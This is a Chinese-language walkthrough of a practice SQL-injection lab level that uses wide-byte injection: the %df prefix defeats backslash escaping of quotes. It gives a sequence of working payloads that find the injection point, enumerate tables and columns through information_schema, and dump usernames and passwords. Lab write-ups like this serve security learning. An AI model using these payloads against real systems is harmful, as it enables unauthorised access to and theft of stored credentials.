这一关没有了世界上最好的防火墙的提示了 所以我们使用普通做法去做吧
首先判断一下是否为数字型注入啊 输入如下
id=1 and 1=2
回显如下 属于字符型
判断是单引还是双引 输入1' 虽然正确回显了 但是他下面有一句话 是这样描述的 他说我们的1’被转义为了1\' 回显如下
这时候我们可以引入一个特殊字符来组合反斜杠用于帮助单引号逃逸 这称之为宽字节注入
比较常见的宽字节注入有%c0%5c %df%5c %bb%5c……
既然在单引号前面加了一个反斜杠 那么我们就把这个反斜杠给吞掉
输入如下
id=1%df'
回显如下 报错了 从报错信息可以看出这个注入点属于单引号注入
我们来佐证一下 输入如下
id=1%df'--+
回显如下 注入点属于单引号注入
我这一关选择使用联合注入的方法 首先判断回显点 输入如下
id=0%df' union select 1,2,3--+
回显如下
然后进行爆库操作 输入如下
id=0%df' union select 1,database(),version()--+
回显如下
然后进行报表操作 输入如下
id=0%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
回显如下
接着进行爆字段操作 输入如下
id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=%df'users%df' and table_schema=database()--+
%df'users%df'会报错的 所以我们得把他转换成十六进制形式的前面加上一个0x
最终版本为如下所示
id=0%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273%20and%20table_schema=database()--+
回显如下
接着进行爆用户名和密码操作 输入如下
id=0%df' union select 1,2,group_concat(username,password) from users--+
回显如下
最后成功了 嗨嗨!!